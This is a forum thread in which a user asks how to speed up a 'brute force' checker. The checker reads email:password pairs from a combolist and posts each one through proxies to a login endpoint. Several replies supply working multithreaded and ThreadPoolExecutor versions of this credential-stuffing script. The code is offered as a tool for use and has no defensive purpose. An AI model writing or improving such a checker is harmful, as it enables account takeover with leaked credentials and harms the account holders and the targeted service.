How do I use the Thread module in my brute force program.py

[11]

This's an example code I've made and I want to know how do I use the threading technique to make my checker more faster

Code:

 combolist = open("combo.txt", "r").readlines()
   for combo in combolist:
      sequence = combo.strip()
      account = sequence.split(":")
      email = account[0]
      password = account[1]
      fullcred = email + ":" + password
      cred = "{\"email\":\""+email+"\",\"password\":\""+password+"\"}"
      r = requests.post("https://auth.blahblah.com/login", proxies=proxies ,data=cred, headers=newHeaders)

[0]

none

 

[11]

misclick wait.

alright no problem

[0]

none

 

[11]

Code:

 
1# method
import threading, Queue, time
aqueue = Queue()
#put ur tasks into queue for example email:pass aqueue.put_nowait(object)

for i in range(aqueue.qsize):
  #put threading active count checks (not the best method kind of unreliable may be +2 threads meaning on a 100 real threads executing the job there will be 102 (main thread etc etc many reasons)
  threading.Thread(target=bruteforce, args=(aqueue.get_nowait(),)).start()

you can put more checks ofc. or do it in the simplest of ways.
#method 1 needs more examples and so on, but for a small brute u re good with just threading and lists. though Queue is better, check their docs if you want to learn this method https://docs.python.org/3/library/queue.html queue goes better with threading based tasks
2# method
with open("combolist.txt" , "r") as file:
  lines = file.readlines()
  file.close()
  #2 choices one make 2 lists store usernames and passwords in each list or just parse the combo on the function.
  #1 choice
  usernames = []
  passwords = []
  for combo in lines:
     tmp = combo.split(":")
     usernames.append(tmp[0])
     passwords.append(tmp[1])
     #how this works is since u append each username and password to the same index on the list you can grab both with it. usernames[0] passwords[0] would be test:test123 owned by the first line for example.       #and so on.
#2 choice you just get the whole combo(username:password) and just parse it on your brute function. all are good. (no code example its simple)


threads = []
for i in range(len(usernames)):
   threads.append(threading.Thread(target=runbrute, args=(usernames[i], passwords[i], ))) #preping the threads with each combo line

threads_limit = 100
for i in range(len(threads)):
   while threading.active_count() - 1 > 100: #sloppy check but easiest.
       time.sleep(0.25)
   threads[i].start()

def runbrute(username, password):
   #ur code

---

sorry small fix but significant forgot to add

Code:

threads = []
for i in range(len(usernames)):
   threads.append(threading.Thread(target=runbrute, args=(username, password, ))) #preping the threads with each combo line

to this

Code:

threads = []
for i in range(len(usernames)):
   threads.append(threading.Thread(target=runbrute, args=(usernames[i], passwords[i], ))) #preping the threads with each combo line

small mistake.

I rlly appreciate your support! Thanks alot and for the explaination it's very understanble thankyou !

[0]

none

 

[11]

fixed it nvmm

[1.557]

You can also use concurrent futures, which is built on top of the threading module.
 

Code:

from concurrent.futures import ThreadPoolExecutor
import requests

newHeaders: dict = {}
proxies: dict = {}

def check_combo(combo: str):
    sequence = combo.strip()
    account = sequence.split(':', maxsplit=1)
    email, password = account[0], account[1]
    fullcred = ':'.join(account)
    cred = {'email': email, 'password': password}
    r = requests.post('https://auth.blahblah.com/login', proxies=proxies, json=cred, headers=newHeaders)
    if not r.ok:
        raise ConnectionError('something is fucked')
    # do something
    return fullcred

def check_list(combos: list[str]):
    with ThreadPoolExecutor(max_workers=10) as exc:
        return exc.map(check_combo, combos)

def main():
    combolist = open('combo.txt', 'r').readlines()
    results = check_list(combolist)
    for result in results:
        print(result)

if __name__ == '__main__':
    main()

I actually prefer to use joblib for parallelism though since you can choose which backend you want to use for processing.  Only downside is that it's a third party library.